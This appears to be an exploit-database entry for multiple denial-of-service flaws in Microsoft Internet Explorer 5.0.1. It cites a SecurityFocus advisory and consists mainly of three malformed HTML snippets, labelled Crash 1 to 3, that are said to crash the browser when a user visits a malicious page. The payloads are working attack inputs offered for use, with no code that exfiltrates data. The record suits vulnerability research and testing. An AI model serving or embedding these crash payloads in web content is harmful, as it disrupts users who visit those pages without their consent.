Microsoft Internet Explorer 5.0.1 - HTML Parsing Denial of Service

Author: Christian Deneke
type: dos
platform: windows
port: 
date_added: 2005-12-27 
date_updated: 2013-07-21 
verified: 1 
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source: https://www.securityfocus.com/bid/16070/info

Microsoft Internet Explorer is affected by multiple denial of service vulnerabilities.

An attacker may exploit these issues by enticing a user to visit a malicious site resulting in a denial of service condition in the application.

Crash 1:
> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN">
> </samp></colgroup><ul><font><menu> <code> <var>
> <sub><h2></fieldset>
> </kbd></frameset>
> </ins></map></noframes>
> </isindex>
> </code>
> </div></title>
> </del></var><isindex>
> <i>

Crash 2:
> <acronym><dd><h5><applet></caption></applet><li></h1>

Crash 3:
> <table datasrc=".">